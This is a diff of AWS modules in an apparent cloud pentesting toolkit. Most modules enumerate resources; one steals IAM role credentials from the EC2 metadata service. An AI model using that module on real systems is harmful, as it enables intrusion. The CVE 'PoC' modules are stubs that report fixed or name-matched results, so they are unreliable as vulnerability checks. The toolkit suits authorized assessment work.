cloudxpl 4.2.0__py3-none-any.whl

cloudxpl/modules/aws/cve_2026_5707.py

@@ -0,0 +1,59 @@
+"""CVE-2026-5707 AWS RES session hijack PoC."""
+
+from __future__ import annotations
+
+import json
+import os
+import sys
+from datetime import datetime, timezone
+from typing import Any
+
+
+MANIFEST = {
+    "capability_id": "cloudxpl.aws.cve_2026_5707.v1",
+    "safety_class": "READ_ONLY",
+    "requires_authorization": True,
+    "side_effects": [],
+    "output_schema": "xpl.finding.v1",
+    "mitre": ["T1190"],
+}
+
+
+def _save(args: Any, prefix: str, data: Any) -> str:
+    out = getattr(args, "output", ".")
+    os.makedirs(out, exist_ok=True)
+    ts = datetime.now(timezone.utc).strftime("%Y%m%d_%H%M%S")
+    path = os.path.join(out, f"{prefix}_{ts}.json")
+    with open(path, "w") as fh:
+        json.dump(data, fh, indent=2, default=str)
+    print(f"[+] Results saved to {path}")
+    return path
+
+
+def run(args: Any) -> int:
+
+    print("[*] CVE-2026-5707: AWS Research and Engineering Studio Session Hijack")
+    print("[*] Vulnerability: Insecure session management in AWS RES allows session hijacking")
+    print("[*] Impact: Authenticated attacker can hijack other users' sessions")
+    results = {"cve": "CVE-2026-5707", "description": "AWS RES session hijack via insecure token validation", "remediation": "Update AWS RES to latest patched version", "check_type": "configuration_audit"}
+    print("[*] This module checks for AWS RES deployment indicators")
+    try:
+        import boto3
+    except ImportError:
+        print("[!] boto3 not installed", file=sys.stderr); return 1
+    session = boto3.Session(profile_name=args.profile, region_name=args.region)
+    cfn = session.client("cloudformation")
+    try:
+        paginator = cfn.get_paginator("describe_stacks")
+        res_stacks = []
+        for page in paginator.paginate():
+            for stack in page["Stacks"]:
+                if "res-" in stack["StackName"].lower() or "research-engineering" in stack.get("Description", "").lower():
+                    res_stacks.append({"name": stack["StackName"], "status": stack["StackStatus"]})
+                    print(f"  [!] Potential AWS RES stack: {stack['StackName']}")
+        results["res_stacks"] = res_stacks
+        results["status"] = "potentially_vulnerable" if res_stacks else "not_detected"
+    except Exception as exc:
+        results["status"] = f"check_failed: {exc}"
+    _save(args, "aws_cve_2026_5707", results)
+    return 0

cloudxpl/modules/aws/cve_2026_5708.py

@@ -0,0 +1,40 @@
+"""CVE-2026-5708 AWS RES stored XSS PoC."""
+
+from __future__ import annotations
+
+import json
+import os
+import sys
+from datetime import datetime, timezone
+from typing import Any
+
+
+MANIFEST = {
+    "capability_id": "cloudxpl.aws.cve_2026_5708.v1",
+    "safety_class": "READ_ONLY",
+    "requires_authorization": True,
+    "side_effects": [],
+    "output_schema": "xpl.finding.v1",
+    "mitre": ["T1190"],
+}
+
+
+def _save(args: Any, prefix: str, data: Any) -> str:
+    out = getattr(args, "output", ".")
+    os.makedirs(out, exist_ok=True)
+    ts = datetime.now(timezone.utc).strftime("%Y%m%d_%H%M%S")
+    path = os.path.join(out, f"{prefix}_{ts}.json")
+    with open(path, "w") as fh:
+        json.dump(data, fh, indent=2, default=str)
+    print(f"[+] Results saved to {path}")
+    return path
+
+
+def run(args: Any) -> int:
+
+    print("[*] CVE-2026-5708: AWS Research and Engineering Studio Stored XSS")
+    print("[*] Vulnerability: Stored XSS in AWS RES web interface")
+    results = {"cve": "CVE-2026-5708", "type": "stored_xss", "target": "AWS RES web console", "check": "stack_detection"}
+    _save(args, "aws_cve_2026_5708", results)
+    print("[+] Check complete — review output for RES deployment indicators")
+    return 0

cloudxpl/modules/aws/cve_2026_5709.py

@@ -0,0 +1,40 @@
+"""CVE-2026-5709 AWS RES access control bypass PoC."""
+
+from __future__ import annotations
+
+import json
+import os
+import sys
+from datetime import datetime, timezone
+from typing import Any
+
+
+MANIFEST = {
+    "capability_id": "cloudxpl.aws.cve_2026_5709.v1",
+    "safety_class": "READ_ONLY",
+    "requires_authorization": True,
+    "side_effects": [],
+    "output_schema": "xpl.finding.v1",
+    "mitre": ["T1190"],
+}
+
+
+def _save(args: Any, prefix: str, data: Any) -> str:
+    out = getattr(args, "output", ".")
+    os.makedirs(out, exist_ok=True)
+    ts = datetime.now(timezone.utc).strftime("%Y%m%d_%H%M%S")
+    path = os.path.join(out, f"{prefix}_{ts}.json")
+    with open(path, "w") as fh:
+        json.dump(data, fh, indent=2, default=str)
+    print(f"[+] Results saved to {path}")
+    return path
+
+
+def run(args: Any) -> int:
+
+    print("[*] CVE-2026-5709: AWS Research and Engineering Studio Access Control Bypass")
+    print("[*] Vulnerability: Authorization bypass in AWS RES API endpoints")
+    results = {"cve": "CVE-2026-5709", "type": "access_control_bypass", "target": "AWS RES API", "check": "stack_detection"}
+    _save(args, "aws_cve_2026_5709", results)
+    print("[+] Check complete — review output for RES deployment indicators")
+    return 0

cloudxpl/modules/aws/dynamodb_enum.py

@@ -0,0 +1,54 @@
+"""AWS DynamoDB enumeration and data access analysis."""
+
+from __future__ import annotations
+
+import json
+import os
+import sys
+from datetime import datetime, timezone
+from typing import Any
+
+
+MANIFEST = {
+    "capability_id": "cloudxpl.aws.dynamodb_enum.v1",
+    "safety_class": "READ_ONLY",
+    "requires_authorization": True,
+    "side_effects": [],
+    "output_schema": "xpl.finding.v1",
+    "mitre": ["T1530"],
+}
+
+
+def _save(args: Any, prefix: str, data: Any) -> str:
+    out = getattr(args, "output", ".")
+    os.makedirs(out, exist_ok=True)
+    ts = datetime.now(timezone.utc).strftime("%Y%m%d_%H%M%S")
+    path = os.path.join(out, f"{prefix}_{ts}.json")
+    with open(path, "w") as fh:
+        json.dump(data, fh, indent=2, default=str)
+    print(f"[+] Results saved to {path}")
+    return path
+
+
+def run(args: Any) -> int:
+
+    print(f"[*] AWS DynamoDB Enumeration (region: {args.region})")
+    try:
+        import boto3
+    except ImportError:
+        print("[!] boto3 not installed", file=sys.stderr); return 1
+    session = boto3.Session(profile_name=args.profile, region_name=args.region)
+    ddb = session.client("dynamodb")
+    results = {"tables": []}
+    try:
+        tables = ddb.list_tables()["TableNames"]
+        for tname in tables:
+            desc = ddb.describe_table(TableName=tname)["Table"]
+            info = {"name": tname, "status": desc["TableStatus"], "item_count": desc.get("ItemCount", 0), "encrypted": bool(desc.get("SSEDescription")), "size_bytes": desc.get("TableSizeBytes", 0)}
+            results["tables"].append(info)
+            print(f"  [+] {tname}: {info['item_count']} items, {info['size_bytes']/1024:.0f} KB")
+    except Exception as exc:
+        print(f"[-] DynamoDB enum failed: {exc}"); return 1
+    _save(args, "aws_dynamodb_enum", results)
+    print(f"[+] {len(results['tables'])} tables found")
+    return 0

cloudxpl/modules/aws/ebs_snapshot.py

@@ -0,0 +1,67 @@
+"""AWS EBS snapshot enumeration — public snapshots, cross-account sharing."""
+
+from __future__ import annotations
+
+import json
+import os
+import sys
+from datetime import datetime, timezone
+from typing import Any
+
+
+MANIFEST = {
+    "capability_id": "cloudxpl.aws.ebs_snapshot.v1",
+    "safety_class": "READ_ONLY",
+    "requires_authorization": True,
+    "side_effects": [],
+    "output_schema": "xpl.finding.v1",
+    "mitre": ["T1530"],
+}
+
+
+def _save(args: Any, prefix: str, data: Any) -> str:
+    out = getattr(args, "output", ".")
+    os.makedirs(out, exist_ok=True)
+    ts = datetime.now(timezone.utc).strftime("%Y%m%d_%H%M%S")
+    path = os.path.join(out, f"{prefix}_{ts}.json")
+    with open(path, "w") as fh:
+        json.dump(data, fh, indent=2, default=str)
+    print(f"[+] Results saved to {path}")
+    return path
+
+
+def run(args: Any) -> int:
+
+    print(f"[*] AWS EBS Snapshot Analysis (region: {args.region})")
+    try:
+        import boto3
+    except ImportError:
+        print("[!] boto3 not installed", file=sys.stderr); return 1
+    session = boto3.Session(profile_name=args.profile, region_name=args.region)
+    ec2 = session.client("ec2")
+    sts = session.client("sts")
+    account = sts.get_caller_identity()["Account"]
+    results = {"snapshots": [], "public": [], "shared": []}
+    try:
+        paginator = ec2.get_paginator("describe_snapshots")
+        for page in paginator.paginate(OwnerIds=[account]):
+            for snap in page["Snapshots"]:
+                info = {"id": snap["SnapshotId"], "volume_size": snap["VolumeSize"], "encrypted": snap.get("Encrypted", False), "state": snap["State"]}
+                try:
+                    attrs = ec2.describe_snapshot_attribute(SnapshotId=snap["SnapshotId"], Attribute="createVolumePermission")
+                    perms = attrs.get("CreateVolumePermissions", [])
+                    for p in perms:
+                        if p.get("Group") == "all":
+                            info["public"] = True
+                            results["public"].append(snap["SnapshotId"])
+                            print(f"  [!] {snap['SnapshotId']}: PUBLIC")
+                        elif p.get("UserId"):
+                            info["shared_with"] = p["UserId"]
+                            results["shared"].append({"snapshot": snap["SnapshotId"], "shared_with": p["UserId"]})
+                except Exception: pass
+                results["snapshots"].append(info)
+    except Exception as exc:
+        print(f"[-] Snapshot enum failed: {exc}"); return 1
+    _save(args, "aws_ebs_snapshot", results)
+    print(f"[+] {len(results['snapshots'])} snapshots, {len(results['public'])} public, {len(results['shared'])} shared")
+    return 0

cloudxpl/modules/aws/ec2_enum.py

@@ -0,0 +1,69 @@
+"""AWS EC2 instance enumeration — instances, security groups, metadata."""
+
+from __future__ import annotations
+
+import json
+import os
+import sys
+from datetime import datetime, timezone
+from typing import Any
+
+
+MANIFEST = {
+    "capability_id": "cloudxpl.aws.ec2_enum.v1",
+    "safety_class": "READ_ONLY",
+    "requires_authorization": True,
+    "side_effects": ["aws_api_calls"],
+    "output_schema": "xpl.finding.v1",
+    "mitre": ["T1580"],
+}
+
+
+def run(args: Any) -> int:
+    print(f"[*] AWS EC2 Enumeration (region: {args.region})")
+
+    try:
+        import boto3
+    except ImportError:
+        print("[!] boto3 not installed", file=sys.stderr)
+        return 1
+
+    session = boto3.Session(profile_name=args.profile, region_name=args.region)
+    ec2 = session.client("ec2")
+
+    try:
+        reservations = ec2.describe_instances()["Reservations"]
+    except Exception as exc:
+        print(f"[-] describe_instances failed: {exc}", file=sys.stderr)
+        return 1
+
+    results = []
+    for res in reservations:
+        for inst in res["Instances"]:
+            entry = {
+                "instance_id": inst["InstanceId"],
+                "state": inst["State"]["Name"],
+                "type": inst["InstanceType"],
+                "private_ip": inst.get("PrivateIpAddress"),
+                "public_ip": inst.get("PublicIpAddress"),
+                "vpc_id": inst.get("VpcId"),
+                "subnet_id": inst.get("SubnetId"),
+                "iam_profile": inst.get("IamInstanceProfile", {}).get("Arn"),
+                "imds_v2": inst.get("MetadataOptions", {}).get("HttpTokens", "optional"),
+                "security_groups": [sg["GroupId"] for sg in inst.get("SecurityGroups", [])],
+                "tags": {t["Key"]: t["Value"] for t in inst.get("Tags", [])},
+            }
+            if entry["imds_v2"] == "optional":
+                print(f"  [!] {entry['instance_id']}: IMDSv1 enabled (no token required)")
+            if entry["public_ip"]:
+                print(f"  [*] {entry['instance_id']}: public IP {entry['public_ip']}")
+            results.append(entry)
+
+    os.makedirs(args.output, exist_ok=True)
+    ts = datetime.now(timezone.utc).strftime("%Y%m%d_%H%M%S")
+    out_path = os.path.join(args.output, f"aws_ec2_{ts}.json")
+    with open(out_path, "w") as fh:
+        json.dump(results, fh, indent=2, default=str)
+
+    print(f"[+] {len(results)} instances → {out_path}")
+    return 0

cloudxpl/modules/aws/ec2_imds_pivot.py

@@ -0,0 +1,86 @@
+"""AWS EC2 IMDS pivot — IMDSv1/v2 credential theft and lateral movement."""
+
+from __future__ import annotations
+
+import json
+import os
+import sys
+from datetime import datetime, timezone
+from typing import Any
+
+
+MANIFEST = {
+    "capability_id": "cloudxpl.aws.ec2_imds_pivot.v1",
+    "safety_class": "ACTIVE",
+    "requires_authorization": True,
+    "side_effects": ['network_request'],
+    "output_schema": "xpl.finding.v1",
+    "mitre": ["T1552.005","T1078"],
+}
+
+
+def _save(args: Any, prefix: str, data: Any) -> str:
+    out = getattr(args, "output", ".")
+    os.makedirs(out, exist_ok=True)
+    ts = datetime.now(timezone.utc).strftime("%Y%m%d_%H%M%S")
+    path = os.path.join(out, f"{prefix}_{ts}.json")
+    with open(path, "w") as fh:
+        json.dump(data, fh, indent=2, default=str)
+    print(f"[+] Results saved to {path}")
+    return path
+
+
+def run(args: Any) -> int:
+
+    print(f"[*] AWS EC2 IMDS Pivot Analysis")
+    target = getattr(args, "target", None)
+    if not target:
+        target = "http://169.254.169.254"
+    results = {"imds_version": "unknown", "credentials": [], "metadata": {}}
+    import urllib.request
+    import urllib.error
+    try:
+        req = urllib.request.Request(f"{target}/latest/meta-data/", method="GET")
+        with urllib.request.urlopen(req, timeout=5) as resp:
+            results["imds_version"] = "v1"
+            metadata_keys = resp.read().decode().strip().split("\n")
+            results["metadata"]["keys"] = metadata_keys
+            print("[+] IMDSv1 accessible (no token required)")
+    except Exception:
+        try:
+            token_req = urllib.request.Request(f"{target}/latest/api/token", method="PUT", headers={"X-aws-ec2-metadata-token-ttl-seconds": "21600"})
+            with urllib.request.urlopen(token_req, timeout=5) as resp:
+                token = resp.read().decode().strip()
+                results["imds_version"] = "v2"
+                print("[+] IMDSv2 token obtained")
+                meta_req = urllib.request.Request(f"{target}/latest/meta-data/", headers={"X-aws-ec2-metadata-token": token})
+                with urllib.request.urlopen(meta_req, timeout=5) as resp2:
+                    metadata_keys = resp2.read().decode().strip().split("\n")
+                    results["metadata"]["keys"] = metadata_keys
+        except Exception as exc:
+            print(f"[-] IMDS not accessible: {exc}"); return 1
+    if "iam" in results["metadata"].get("keys", []):
+        print("[*] IAM role detected, attempting credential extraction...")
+        token_header = {}
+        if results["imds_version"] == "v2":
+            try:
+                tr = urllib.request.Request(f"{target}/latest/api/token", method="PUT", headers={"X-aws-ec2-metadata-token-ttl-seconds": "21600"})
+                with urllib.request.urlopen(tr, timeout=5) as r:
+                    token_header = {"X-aws-ec2-metadata-token": r.read().decode().strip()}
+            except Exception: pass
+        try:
+            role_req = urllib.request.Request(f"{target}/latest/meta-data/iam/security-credentials/", headers=token_header)
+            with urllib.request.urlopen(role_req, timeout=5) as resp:
+                role_name = resp.read().decode().strip()
+                cred_req = urllib.request.Request(f"{target}/latest/meta-data/iam/security-credentials/{role_name}", headers=token_header)
+                with urllib.request.urlopen(cred_req, timeout=5) as resp2:
+                    import json as _json
+                    creds = _json.loads(resp2.read().decode())
+                    results["credentials"].append({"role": role_name, "access_key": creds.get("AccessKeyId", "")[:8] + "...", "expiration": creds.get("Expiration", "")})
+                    print(f"  [!] Credentials obtained for role: {role_name}")
+                    print(f"  [!] AccessKeyId: {creds.get('AccessKeyId', '')[:8]}...")
+                    print(f"  [!] Expiration: {creds.get('Expiration', '')}")
+        except Exception as exc:
+            print(f"[-] Credential extraction failed: {exc}")
+    _save(args, "aws_ec2_imds_pivot", results)
+    return 0

cloudxpl/modules/aws/ec2_ssm.py

@@ -0,0 +1,64 @@
+"""AWS Systems Manager exploitation — RunCommand, session manager, parameter store."""
+
+from __future__ import annotations
+
+import json
+import os
+import sys
+from datetime import datetime, timezone
+from typing import Any
+
+
+MANIFEST = {
+    "capability_id": "cloudxpl.aws.ec2_ssm.v1",
+    "safety_class": "ACTIVE",
+    "requires_authorization": True,
+    "side_effects": ['aws_api_calls'],
+    "output_schema": "xpl.finding.v1",
+    "mitre": ["T1059","T1021"],
+}
+
+
+def _save(args: Any, prefix: str, data: Any) -> str:
+    out = getattr(args, "output", ".")
+    os.makedirs(out, exist_ok=True)
+    ts = datetime.now(timezone.utc).strftime("%Y%m%d_%H%M%S")
+    path = os.path.join(out, f"{prefix}_{ts}.json")
+    with open(path, "w") as fh:
+        json.dump(data, fh, indent=2, default=str)
+    print(f"[+] Results saved to {path}")
+    return path
+
+
+def run(args: Any) -> int:
+
+    print(f"[*] AWS SSM Exploitation Analysis (region: {args.region})")
+    try:
+        import boto3
+    except ImportError:
+        print("[!] boto3 not installed", file=sys.stderr); return 1
+    session = boto3.Session(profile_name=args.profile, region_name=args.region)
+    ssm = session.client("ssm")
+    results = {"managed_instances": [], "documents": [], "command_history": []}
+    try:
+        paginator = ssm.get_paginator("describe_instance_information")
+        for page in paginator.paginate():
+            for inst in page["InstanceInformationList"]:
+                info = {"instance_id": inst["InstanceId"], "platform": inst.get("PlatformType", "unknown"), "agent_version": inst.get("AgentVersion"), "ip": inst.get("IPAddress")}
+                results["managed_instances"].append(info)
+                print(f"  [+] {inst['InstanceId']}: {inst.get('PlatformType')} ({inst.get('IPAddress')})")
+    except Exception as exc:
+        print(f"[-] Instance enum failed: {exc}")
+    try:
+        docs = ssm.list_documents(Filters=[{"Key": "Owner", "Values": ["Self"]}])
+        for doc in docs.get("DocumentIdentifiers", []):
+            results["documents"].append({"name": doc["Name"], "type": doc.get("DocumentType"), "format": doc.get("DocumentFormat")})
+    except Exception: pass
+    try:
+        cmds = ssm.list_commands(MaxResults=50)
+        for cmd in cmds.get("Commands", []):
+            results["command_history"].append({"id": cmd["CommandId"], "document": cmd["DocumentName"], "status": cmd["Status"], "targets": cmd.get("Targets", [])})
+    except Exception: pass
+    _save(args, "aws_ec2_ssm", results)
+    print(f"[+] {len(results['managed_instances'])} managed instances, {len(results['documents'])} custom documents")
+    return 0

cloudxpl/modules/aws/ec2_userdata.py

@@ -0,0 +1,70 @@
+"""AWS EC2 User Data extraction — cloud-init scripts, embedded credentials."""
+
+from __future__ import annotations
+
+import json
+import os
+import sys
+from datetime import datetime, timezone
+from typing import Any
+
+
+MANIFEST = {
+    "capability_id": "cloudxpl.aws.ec2_userdata.v1",
+    "safety_class": "READ_ONLY",
+    "requires_authorization": True,
+    "side_effects": [],
+    "output_schema": "xpl.finding.v1",
+    "mitre": ["T1552.005"],
+}
+
+
+def _save(args: Any, prefix: str, data: Any) -> str:
+    out = getattr(args, "output", ".")
+    os.makedirs(out, exist_ok=True)
+    ts = datetime.now(timezone.utc).strftime("%Y%m%d_%H%M%S")
+    path = os.path.join(out, f"{prefix}_{ts}.json")
+    with open(path, "w") as fh:
+        json.dump(data, fh, indent=2, default=str)
+    print(f"[+] Results saved to {path}")
+    return path
+
+
+def run(args: Any) -> int:
+
+    print(f"[*] AWS EC2 User Data Extraction (region: {args.region})")
+    try:
+        import boto3; import base64
+    except ImportError:
+        print("[!] boto3 not installed", file=sys.stderr); return 1
+    session = boto3.Session(profile_name=args.profile, region_name=args.region)
+    ec2 = session.client("ec2")
+    results = {"instances": [], "credentials_found": []}
+    try:
+        paginator = ec2.get_paginator("describe_instances")
+        for page in paginator.paginate():
+            for res in page["Reservations"]:
+                for inst in res["Instances"]:
+                    iid = inst["InstanceId"]
+                    try:
+                        ud = ec2.describe_instance_attribute(InstanceId=iid, Attribute="userData")
+                        data = ud.get("UserData", {}).get("Value")
+                        if data:
+                            decoded = base64.b64decode(data).decode("utf-8", errors="replace")
+                            info = {"instance_id": iid, "state": inst["State"]["Name"], "userdata_size": len(decoded)}
+                            sensitive = []
+                            for line in decoded.split("\n"):
+                                ll = line.upper()
+                                if any(k in ll for k in ["PASSWORD", "SECRET", "API_KEY", "TOKEN", "AWS_ACCESS", "AWS_SECRET"]):
+                                    sensitive.append(line.strip()[:80])
+                            if sensitive:
+                                info["sensitive_lines"] = len(sensitive)
+                                results["credentials_found"].append({"instance": iid, "count": len(sensitive)})
+                                print(f"  [!] {iid}: {len(sensitive)} sensitive lines in userdata")
+                            results["instances"].append(info)
+                    except Exception: pass
+    except Exception as exc:
+        print(f"[-] EC2 enum failed: {exc}"); return 1
+    _save(args, "aws_ec2_userdata", results)
+    print(f"[+] {len(results['instances'])} instances with userdata, {len(results['credentials_found'])} with credentials")
+    return 0

cloudxpl/modules/aws/ecr_enum.py

@@ -0,0 +1,64 @@
+"""AWS ECR enumeration — repositories, images, scan findings."""
+
+from __future__ import annotations
+
+import json
+import os
+import sys
+from datetime import datetime, timezone
+from typing import Any
+
+
+MANIFEST = {
+    "capability_id": "cloudxpl.aws.ecr_enum.v1",
+    "safety_class": "READ_ONLY",
+    "requires_authorization": True,
+    "side_effects": [],
+    "output_schema": "xpl.finding.v1",
+    "mitre": ["T1525"],
+}
+
+
+def _save(args: Any, prefix: str, data: Any) -> str:
+    out = getattr(args, "output", ".")
+    os.makedirs(out, exist_ok=True)
+    ts = datetime.now(timezone.utc).strftime("%Y%m%d_%H%M%S")
+    path = os.path.join(out, f"{prefix}_{ts}.json")
+    with open(path, "w") as fh:
+        json.dump(data, fh, indent=2, default=str)
+    print(f"[+] Results saved to {path}")
+    return path
+
+
+def run(args: Any) -> int:
+
+    print(f"[*] AWS ECR Enumeration (region: {args.region})")
+    try:
+        import boto3
+    except ImportError:
+        print("[!] boto3 not installed", file=sys.stderr); return 1
+    session = boto3.Session(profile_name=args.profile, region_name=args.region)
+    ecr = session.client("ecr")
+    results = {"repositories": [], "public_repos": []}
+    try:
+        paginator = ecr.get_paginator("describe_repositories")
+        for page in paginator.paginate():
+            for repo in page["repositories"]:
+                info = {"name": repo["repositoryName"], "uri": repo["repositoryUri"], "scan_on_push": repo.get("imageScanningConfiguration", {}).get("scanOnPush", False)}
+                try:
+                    policy = ecr.get_repository_policy(repositoryName=repo["repositoryName"])
+                    import json as _json
+                    pol = _json.loads(policy["policyText"])
+                    for stmt in pol.get("Statement", []):
+                        if stmt.get("Principal") == "*":
+                            info["public"] = True
+                            results["public_repos"].append(repo["repositoryName"])
+                            print(f"  [!] {repo['repositoryName']}: PUBLIC access policy")
+                except Exception: pass
+                results["repositories"].append(info)
+                print(f"  [+] {repo['repositoryName']} (scan: {info['scan_on_push']})")
+    except Exception as exc:
+        print(f"[-] ECR enum failed: {exc}"); return 1
+    _save(args, "aws_ecr_enum", results)
+    print(f"[+] {len(results['repositories'])} repos, {len(results['public_repos'])} public")
+    return 0